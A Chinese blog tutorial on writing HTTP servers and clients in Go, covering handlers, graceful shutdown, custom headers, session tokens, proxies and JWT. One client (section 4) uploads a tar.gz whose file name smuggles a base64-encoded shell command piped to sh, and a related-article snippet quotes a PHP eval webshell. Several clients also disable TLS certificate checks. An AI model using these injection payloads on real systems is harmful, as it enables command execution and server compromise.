当前位置: 首页 > news >正文

用go实现http服务端和请求端

一、概述

        本文旨在学习记录下如何用go实现建立一个http服务器,同时构造一个专用格式的http客户端。

二、代码实现

2.1 构造http服务端

1、http服务处理流程

基于HTTP构建的服务标准模型包括两个端,客户端(Client)和服务端(Server)。HTTP 请求从客户端发出,服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求,并向客户端返回响应。 

  • 使用http.HandleFunc实现http服务,返回hello world
package mainimport ("fmt""net/http"
)func HelloHandler(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "Hello World")
}func main () {http.HandleFunc("/", HelloHandler)http.ListenAndServe(":8000", nil)
}
  • 使用http.Handle实现http服务
package mainimport ("fmt""net/http"
)type HelloHandlerStruct struct {content string
}//必须实现此方法,且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, handler.content)
}func main()  {http.Handle("/", &HelloHandlerStruct{content: "Hello World"})http.ListenAndServe(":8000", nil)
}
  • 优雅的关闭http服务
package mainimport ("context""fmt""io/ioutil""log""net/http""os""os/signal""syscall""time"
)type EchoHandler struct{}func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {// 设置响应头writer.Header().Add("X-Data", "foo")// 设置相应的cookiehttp.SetCookie(writer, &http.Cookie{Name:   "x-cookie",Value:  "bar",MaxAge: 86400,Secure: true,})//设置响应状态码为200writer.WriteHeader(200)// 设置响应体,打印网络请求信息fmt.Fprintln(writer, "===== Network =====")fmt.Fprintln(writer, "Remote Address:", request.RemoteAddr)fmt.Fprintln(writer)// 设置响应体,打印请求方法 url host 协议信息fmt.Fprintln(writer, "===== Request Line =====")fmt.Fprintln(writer, "Method: ", request.Method)fmt.Fprintln(writer, "URL: ", request.URL)fmt.Fprintln(writer, "Host: ", request.Host)//fmt.Fprintln(writer, "URI: ", request.RequestURI)fmt.Fprintf(writer, "Protocol: %v major=%v minor=%v\n", request.Proto,request.ProtoMajor, request.ProtoMinor)fmt.Fprintln(writer)// 设置输出请求的请求头fmt.Fprintln(writer, "===== Header =====")for k, v := range request.Header {fmt.Fprintf(writer, "%v: %v\n", k, v)}fmt.Fprintln(writer)// 设置输出请求的bodybody, err := ioutil.ReadAll(request.Body)if err == nil && len(body) > 0 {fmt.Fprintln(writer, "===== Raw Body =====")fmt.Fprintln(writer, string(body))}
}func main() {// 创建系统信号接收器done := make(chan os.Signal)signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)// 创建 HTTP 服务器server := &http.Server{Addr:    ":8000",Handler: EchoHandler{},}// 启动 HTTP 服务器go func() {log.Println("Server starting...")if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {log.Fatalf("ListenAndServe: %v", err)}}()// 监听系统信号并执行关闭操作<-donelog.Println("Server shutting down...")// 创建一个超时上下文,确保关闭操作不会无限期等待ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)defer cancel()if err := server.Shutdown(ctx); err != nil {log.Fatal("Shutdown server:", err)}log.Println("Server gracefully stopped")
}

2.2 构建http客户端

1、基本介绍及使用

net/http 包提供了最简洁的 HTTP 客户端实现,无需借助第三方网络通信库(比如 libcurl)就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。

func (c *Client) Get(url string) (r *Response, err error)
func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error)
func (c *Client) PostForm(url string, data url.Values) (r *Response, err error)
func (c *Client) Head(url string) (r *Response, err error)
func (c *Client) Do(req *Request) (resp *Response, err error)

基本的代码实现:

package mainimport ("bytes""fmt""io/ioutil""net/http"
)func main() {// 目标 URLbaseUrl := "http://localhost"// 执行 GET 请求doGet(baseUrl + "/gettest")// 执行 POST 请求doPost(baseUrl + "/posttest")// 执行 POST Form 请求doPostForm(baseUrl + "/postform")
}func doGet(url string) {response, err := http.Get(url)if err != nil {fmt.Println("GET request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("GET Response:")fmt.Println(string(body))
}func doPost(url string) {// 准备 POST 请求的 JSON 数据jsonPayload := []byte(`{"key": "value"}`)response, err := http.Post(url, "application/json", bytes.NewBuffer(jsonPayload))if err != nil {fmt.Println("POST request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("POST Response:")fmt.Println(string(body))
}func doPostForm(url string) {// 准备 POST Form 数据data := url.Values{}data.Add("name", "Alice")data.Add("age", "30")response, err := http.PostForm(url, data)if err != nil {fmt.Println("POST Form request failed:", err)return}defer response.Body.Close()body, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("Error reading response:", err)return}fmt.Println("POST Form Response:")fmt.Println(string(body))
}

2、自定义请求头,以及绕过https验证

package mainimport ("fmt""net/http""net/url""strings"
)func main() {// 自定义请求头headers := map[string]string{"User-Agent": "Your Custom User-Agent","Host":       "example.com", // 自定义 Host}// 目标 URLtargetURL := "https://example.com" // 替换为你的目标 URL// 创建自定义 Transporttr := &http.Transport{TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout:   5,                         // 超时时间(秒)DisableKeepAlives:     true,                     // 禁用连接复用IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)}// 创建自定义客户端client := &http.Client{Transport: tr,}// 发送 GET 请求response, err := client.Get(targetURL)if err != nil {fmt.Println("GET request failed:", err)return}defer response.Body.Close()// 读取响应内容body := make([]byte, 1024)n, err := response.Body.Read(body)if err != nil {fmt.Println("Error reading response:", err)return}// 输出响应内容fmt.Println("Response:")fmt.Println(string(body[:n]))
}

3、实现登录后会话保持以及自定义请求头

package mainimport ("fmt""net/http""net/url""strings"
)func main() {// 自定义请求头headers := map[string]string{"User-Agent": "Your Custom User-Agent","Host":       "example.com", // 自定义 Host}// 目标 URLbaseURL := "https://example.com" // 替换为你的目标 URLloginURL := baseURL + "/login"   // 登录 URLsecuredURL := baseURL + "/secured-resource" // 需要 Token 的 URL// 准备登录请求的数据loginData := url.Values{"user": {"admin"},"pass": {"123456"},}// 创建自定义 Transporttr := &http.Transport{TLSClientConfig:       {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout:   5,                         // 超时时间(秒)DisableKeepAlives:     true,                     // 禁用连接复用IdleConnTimeout:       30,                       // 空闲连接超时时间(秒)MaxIdleConnsPerHost:   2,                        // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5,                        // 响应头超时时间(秒)}// 创建自定义客户端client := &http.Client{Transport: tr,}// 发送登录请求loginRequest, err := http.NewRequest("POST", loginURL, strings.NewReader(loginData.Encode()))if err != nil {fmt.Println("Error creating login request:", err)return}// 设置登录请求的头部和内容类型loginRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")for key, value := range headers {loginRequest.Header.Set(key, value)}loginResponse, err := client.Do(loginRequest)if err != nil {fmt.Println("Login request failed:", err)return}defer loginResponse.Body.Close()// 获取登录后的 Tokenvar token stringfor _, cookie := range loginResponse.Cookies() {if cookie.Name == "token" {token = cookie.Valuebreak}}if token == "" {fmt.Println("Login failed. No token received.")return}fmt.Println("Login successful. Token:", token)// 在后续请求中添加 Token 到请求头securedRequest, err := http.NewRequest("GET", securedURL, nil)if err != nil {fmt.Println("Error creating secured request:", err)return}securedRequest.Header.Set("Authorization", "Bearer "+token) // 添加 Token 到请求头for key, value := range headers {securedRequest.Header.Set(key, value)}securedResponse, err := client.Do(securedRequest)if err != nil {fmt.Println("Secured request failed:", err)return}defer securedResponse.Body.Close()// 读取并输出响应内容responseBody, err := ioutil.ReadAll(securedResponse.Body)if err != nil {fmt.Println("Error reading response body:", err)return}fmt.Println("Secured resource response:")fmt.Println(string(responseBody))
}

4、构造一个带特殊字符的压缩包,并且通过接口上传

package mainimport ("archive/tar""bytes""compress/gzip""crypto/tls""fmt""io""io/ioutil""mime/multipart""net/http""os"
)func main() {// 压缩文件内容tarContent := generateTarGzContent("11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")// 发送 HTTP POST 请求url := "https://example.com/upload" // 替换为你的目标 URLuploadTarGz(url, tarContent)
}func generateTarGzContent(filename string) []byte {var buf bytes.Buffergw := gzip.NewWriter(&buf)tw := tar.NewWriter(gw)// 添加文件到 tar 压缩包fileContent := []byte("This is the content of 11.jpg;`echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh`")header := &tar.Header{Name: filename,Size: int64(len(fileContent)),}if err := tw.WriteHeader(header); err != nil {fmt.Println("写入 tar 头部失败:", err)os.Exit(1)}if _, err := tw.Write(fileContent); err != nil {fmt.Println("写入文件内容失败:", err)os.Exit(1)}// 关闭 tar 和 gzip 缓冲区if err := tw.Close(); err != nil {fmt.Println("关闭 tar 失败:", err)os.Exit(1)}if err := gw.Close(); err != nil {fmt.Println("关闭 gzip 失败:", err)os.Exit(1)}return buf.Bytes()
}func uploadTarGz(url string, tarContent []byte) {// 创建一个 Buffer,用于构建 multipart/form-data 请求体var requestBody bytes.Bufferwriter := multipart.NewWriter(&requestBody)// 写入 tar.gz 文件part, err := writer.CreateFormFile("file", "test.tar.gz")if err != nil {fmt.Println("创建表单文件失败:", err)os.Exit(1)}if _, err := io.Copy(part, bytes.NewReader(tarContent)); err != nil {fmt.Println("写入文件内容失败:", err)os.Exit(1)}// 关闭 multipart writerwriter.Close()// 创建 HTTP 请求req, err := http.NewRequest("POST", url, &requestBody)if err != nil {fmt.Println("创建请求失败:", err)os.Exit(1)}req.Header.Set("Content-Type", writer.FormDataContentType())// 创建一个自定义的 Transport,用于跳过 HTTPS 证书验证tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},}// 使用自定义 Transport 发起请求client := &http.Client{Transport: tr}response, err := client.Do(req)if err != nil {fmt.Println("请求失败:", err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody, err := ioutil.ReadAll(response.Body)if err != nil {fmt.Println("读取响应内容失败:", err)os.Exit(1)}fmt.Println("响应内容:")fmt.Println(string(responseBody))
}

5、设置http代理

package mainimport ("fmt""net/http""net/url""os"
)func main() {// 创建 HTTP 客户端,并设置代理proxyURL, err := url.Parse("http://127.0.0.1:8080") // 替换为您的代理服务器地址if err != nil {fmt.Println("解析代理地址失败:", err)os.Exit(1)}client := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyURL),},}// 创建 HTTP 请求url := "https://example.com" // 替换为您要请求的目标 URLrequest, err := http.NewRequest("GET", url, nil)if err != nil {fmt.Println("创建请求失败:", err)os.Exit(1)}// 发送 HTTP 请求response, err := client.Do(request)if err != nil {fmt.Println("请求失败:", err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody := make([]byte, 0)buffer := make([]byte, 1024)for {n, err := response.Body.Read(buffer)if n > 0 {responseBody = append(responseBody, buffer[:n]...)}if err != nil {break}}fmt.Println("响应内容:")fmt.Println(string(responseBody))
}

6、综合实践 

// 生成jwt token
func CreateJWT(claim jwt.Claims) (string, error) {//读取 RSA私钥文件privateKeyBytes, err := ioutil.ReadFile(privateKeyPath)if err != nil {return "", err}//解析RSA私钥privateKey, err := jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)if err != nil {return "", err}//创建jwttoken := jwt.NewWithClaims(jwt.SigningMethodRS256, claim)//使用私钥进行签名tokenString, err := token.SignedString(privateKey)return tokenString, nil
}// 验证token有效性,主要为想做成直接用解析提供的token并从中获取想要的参数,避免传入过多参数,暂时未用上
func ParseToken(tokenStr string) (interface{}, error) {//读取RSA公钥文件publicKeyBytes, err := ioutil.ReadFile(publicKeyPath)if err != nil {return "", nil}//解析RSA 公钥publicKey, err := jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)if err != nil {return "", err}//解析tokentoken, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {if token.Method != jwt.SigningMethodRS256 {return nil, fmt.Errorf("加密方法有误,非rsa256,而是:%v", token.Header["alg"])}return publicKey, nil})//检查解析是否成功if err != nil {return nil, err}//验证token是否有效if !token.Valid {return nil, fmt.Errorf("无效token")} else if claims, ok := token.Claims.(jwt.MapClaims); ok {//通过key获取具体的Claims值fmt.Println("touken有效,正在提取其中的Claims。。。。")return claims, nil} else {return nil, fmt.Errorf("token有效,但是无法提取Claims")}}func GetCookie(token, url string) (string, error) {//自定义请求头headers := map[string]string{"token":           token, //利用生成的token"User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36","Accept":          " application/json, text/plain, */*","Accept-Encoding": "gzip, deflate","Content-Type":    "application/json","Accept-Language": "zh-CN,zh;q=0.9",}//fmt.Println("\nurl 为", baseurl)//创建代理/* 	proxyURL, err := url.Parse("http://127.0.0.1:8080") //设置代理地址if err != nil {fmt.Println("解析代理地址失败", err)os.Exit(1)} */// 创建自定义 Transporttr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证//TLSHandshakeTimeout: 10,                                    // 超时时间(秒)DisableKeepAlives:   true, // 禁用连接复用IdleConnTimeout:     30,   // 空闲连接超时时间(秒)MaxIdleConnsPerHost: 20,   // 每个主机的最大空闲连接数//ResponseHeaderTimeout: 10, // 响应头超时时间(秒)//Proxy: http.ProxyURL(proxyURL), //设置代理服务器}//创建自定义客户端client := &http.Client{Transport: tr,Timeout:   time.Second * 10, //设置请求的超时时间}//创建JSON请求体requestBody := map[string]interface{}{"username":            "123456","password": "1",}//将请求体编码为 JSON格式jsonData, err := json.Marshal(requestBody)if err != nil {fmt.Println("JSON 编码错误", err)return "", err}//创建post请求request, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))if err != nil {fmt.Println("创建请求错误", err)return "", err}//设置请求头for key, value := range headers {request.Header.Set(key, value)}//发送POST请求response, err := client.Do(request)if err != nil {fmt.Println("\n请求错误:", err)return "", err}defer response.Body.Close()/* 	// 读取响应内容var responseStr stringbuf := new(bytes.Buffer)_, err = buf.ReadFrom(response.Body)if err != nil {return "", err}responseStr = buf.String()// 检查响应状态码if response.StatusCode != http.StatusOK {return "", fmt.Errorf("响应状态码为 %d", response.StatusCode)}return responseStr, nil *///处理响应:仅针对返回body为json格式数据var responseBody map[string]interface{}decoder := json.NewDecoder(response.Body)if err := decoder.Decode(&responseBody); err != nil {fmt.Println("响应解析错误", err)return "", err}//输出响应fmt.Println("响应状态码:", response.Status)fmt.Println("响应数据ret:", responseBody["ret"])var retflag float64retflag = 1if responseBody["ret"].(float64) == retflag {setCookieHeaders := response.Header["Set-Cookie"]return setCookieHeaders[0], nil} else {return "", fmt.Errorf("错误信息:%s", responseBody["error"])}

相关文章:

用go实现http服务端和请求端

一、概述 本文旨在学习记录下如何用go实现建立一个http服务器&#xff0c;同时构造一个专用格式的http客户端。 二、代码实现 2.1 构造http服务端 1、http服务处理流程 基于HTTP构建的服务标准模型包括两个端&#xff0c;客户端(Client)和服务端(Server)。HTTP 请求从客户端…...

幂级数和幂级数的和函数有什么关系?

幂级数和幂级数的和函数有什么关系&#xff1f; 本文例子引用自&#xff1a;80_1幂级数运算&#xff0c;逐项积分、求导【小元老师】高等数学&#xff0c;考研数学 求幂级数 ∑ n 1 ∞ 1 n x n \sum\limits_{n1}^{\infty}\frac{1}{n}x^n n1∑∞​n1​xn 的和函数 &#xff…...

Git多账号管理通过ssh 公钥的方式,git,gitlab,gitee

按照目前国内访问git&#xff0c;如果不科学上网&#xff0c;我们很大可能访问会超时。基于这个&#xff0c;所以我现在的git 配置已经增加到了3个了 一个公司gitlab&#xff0c;一个git&#xff0c;一个gitee. 以下基于这个环境&#xff0c;我们来说明下如何创建配置ssh公钥。…...

在nodejs常见的不良做法及其优化解决方案

在nodejs常见的不良做法及其优化解决方案 当涉及到在express和nodejs中开发应用程序时。遵循最佳实践对于确保项目的健壮性、可维护性和安全性至关重要。 在本文中&#xff0c;我们将探索开发人员经常遇到的几种常见的错误做法&#xff0c;并通过代码示例研究优化的最佳做法&…...

关于layui upload上传组件上传文件无反应的问题

最近使用layui upload组件时&#xff0c;碰到了上传文件无反应的问题&#xff0c;感到非常困惑。 因为使用layui upload组件不是一次两次了&#xff0c;之前每次都可以&#xff0c;这次使用同样的配方&#xff0c;同样的姿势&#xff0c;为什么就不行了呢&#xff1f; 照例先…...

容器网络之Flannel

​ 第一个问题位置变化&#xff0c;往往是通过一个称为注册中心的地方统一管理的&#xff0c;这个是应用自己做的。当一个应用启动的时候&#xff0c;将自己所在环境的 IP 地址和端口&#xff0c;注册到注册中心指挥部&#xff0c;这样其他的应用请求它的时候&#xff0c;到指挥…...

SVM(下):如何进行乳腺癌检测?

⭐️⭐️⭐️⭐️⭐️欢迎来到我的博客⭐️⭐️⭐️⭐️⭐️ 🐴作者:秋无之地 🐴简介:CSDN爬虫、后端、大数据领域创作者。目前从事python爬虫、后端和大数据等相关工作,主要擅长领域有:爬虫、后端、大数据开发、数据分析等。 🐴欢迎小伙伴们点赞👍🏻、收藏⭐️、…...

嵌入式Linux应用开发-第十五章具体单板的按键驱动程序

嵌入式Linux应用开发-第十五章具体单板的按键驱动程序 第十五章 具体单板的按键驱动程序(查询方式)15.1 GPIO操作回顾15.2 AM335X的按键驱动程序(查询方式)15.2.1 先看原理图确定引脚及操作方法15.2.2 再看芯片手册确定寄存器及操作方法15.2.3 编程15.2.3.1 程序框架15.2.3.2 硬…...

MySQL体系结构和四层架构介绍

MySQL体系结构图如下&#xff1a; 四层介绍 1. 连接层&#xff1a; 它的主要功能是处理客户端与MySQL服务器之间的连接(比如Java应用程序通过JDBC连接MySQL)。当客户端应用程序连接到MySQL服务器时&#xff0c;连接层对用户进行身份验证、建立安全连接并管理会话状态。它还处理…...

【产品运营】如何做好B端产品规划

产品规划是基于当下掌握的多维度信息&#xff0c;为追求特定目的&#xff0c;而制定的产品资源投入计划。 产品规划是基于当下掌握的多维度信息&#xff08;客户需求、市场趋势、竞争对手、竞争策略等&#xff09;&#xff0c;为追求特定目的&#xff08;商业增长、客户满意等&…...

ruoyi-启动

1 springboot 版本 git 地址 ruoyi-vue-pro: &#x1f525; 官方推荐 &#x1f525; RuoYi-Vue 全新 Pro 版本&#xff0c;优化重构所有功能。基于 Spring Boot MyBatis Plus Vue & Element 实现的后台管理系统 微信小程序&#xff0c;支持 RBAC 动态权限、数据权限…...

select完成服务器并发

服务器 #include <myhead.h>#define PORT 4399 //端口号 #define IP "192.168.0.191"//IP地址//键盘输入事件 int keybord_events(fd_set readfds); //客户端交互事件 int cliRcvSnd_events(int , struct sockaddr_in*, fd_set *, int *); //客户端连接事件 …...

初级篇—第四章聚合函数

文章目录 聚合函数介绍聚合函数介绍COUNT函数AVG和SUM函数MIN和MAX函数 GROUP BY语法基本使用使用多个列分组WITH ROLLUP HAVING基本使用WHERE和HAVING的对比开发中的选择 SELECT的执行过程查询的结构SQL 的执行原理 练习流程函数 聚合函数介绍 聚合函数作用于一组数据&#x…...

计算机图像处理-中值滤波

非线性滤波 非线性滤波是利用原始图像跟模版之间的一种逻辑关系得到结果&#xff0c;常用的非线性滤波方法有中值滤波和高斯双边滤波&#xff0c;分别对应cv2.medianBlur(src, ksize)方法和cv2.bilateralFilter(src, d, sigmaColor, sigmaSpace[, dst[, borderType]])方法。 …...

Golang中的包和模块设计

Go&#xff0c;也被称为Golang&#xff0c;是一种静态类型、编译型语言&#xff0c;因其简洁性和对并发编程的强大支持而受到开发者们的喜爱。Go编程的一个关键方面是其包和模块系统&#xff0c;它允许创建可重用、可维护和高效的代码。本博客文章将深入探讨在Go中设计包和模块…...

web:[极客大挑战 2019]Upload

题目 页面显示为一个上传&#xff0c;猜测上传一句话木马文件 先查看源代码看一下有没有有用的信息&#xff0c;说明要先上传图片&#xff0c;先尝试上传含有一句话木马的图片 构造payload <?php eval($_POST[123]);?> 上传后页面显示为&#xff0c;不能包含<&…...

ICMP差错包

ICMP报文分类 Type Code 描述 查询/差错 0-Echo响应 0 Echo响应报文 查询 3-目的不可达 0 目标网络不可达报文 差错 1 目标主机不可达报文 差错 2 目标协议不可达报文 差错 3 目标端口不可达报文 差错 4 要求分段并设置DF flag标志报文 差错 5 源路由…...

算法基础课第二部分

算法基础课 第四讲 数学知识AcWing1381. 阶乘(同余&#xff0c;因式分解) 质数AcWing 866. 质数的判定---试除法AcWing 868. 质数的判定---埃氏筛AcWing867. 分解质因数---试除法AcWing 197. 阶乘---分解质因数---埃式筛 约数AcWing 869. 求约数---试除法AcWing 870. 约数个数-…...

【数据结构】外部排序、多路平衡归并与败者树、置换-选择排序(生成初始归并段)、最佳归并树算法

目录 1、外部排序 1.1 基本概念 1.2 方法 2、多路平衡归并与败者树 2.1 K路平衡归并 2.2 败者树 3、置换-选择排序&#xff08;生成初始归并段&#xff09;​编辑 4、最佳归并树 4.1 理论基础​编辑 4.2 构造方法 ​编辑 5、各种排序算法的性质 1、外部排序 1.1 基本概…...

抽象工厂模式 创建性模式之五

在看这篇文章之前&#xff0c;请先看看“简单工厂模式”和“工厂方法模式”这两篇博文&#xff0c;会更有助于理解。我们现在已经知道&#xff0c;简单工厂模式就是用一个简单工厂去创建多个产品&#xff0c;工厂方法模式是每一个具体的工厂只生产一个具体的产品&#xff0c;然…...

日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする

日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...

Spring Boot 实现流式响应(兼容 2.7.x)

在实际开发中&#xff0c;我们可能会遇到一些流式数据处理的场景&#xff0c;比如接收来自上游接口的 Server-Sent Events&#xff08;SSE&#xff09; 或 流式 JSON 内容&#xff0c;并将其原样中转给前端页面或客户端。这种情况下&#xff0c;传统的 RestTemplate 缓存机制会…...

如何在看板中体现优先级变化

在看板中有效体现优先级变化的关键措施包括&#xff1a;采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中&#xff0c;设置任务排序规则尤其重要&#xff0c;因为它让看板视觉上直观地体…...

java 实现excel文件转pdf | 无水印 | 无限制

文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...

【Go】3、Go语言进阶与依赖管理

前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课&#xff0c;做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程&#xff0c;它的核心机制是 Goroutine 协程、Channel 通道&#xff0c;并基于CSP&#xff08;Communicating Sequential Processes&#xff0…...

相机从app启动流程

一、流程框架图 二、具体流程分析 1、得到cameralist和对应的静态信息 目录如下: 重点代码分析: 启动相机前,先要通过getCameraIdList获取camera的个数以及id,然后可以通过getCameraCharacteristics获取对应id camera的capabilities(静态信息)进行一些openCamera前的…...

拉力测试cuda pytorch 把 4070显卡拉满

import torch import timedef stress_test_gpu(matrix_size16384, duration300):"""对GPU进行压力测试&#xff0c;通过持续的矩阵乘法来最大化GPU利用率参数:matrix_size: 矩阵维度大小&#xff0c;增大可提高计算复杂度duration: 测试持续时间&#xff08;秒&…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...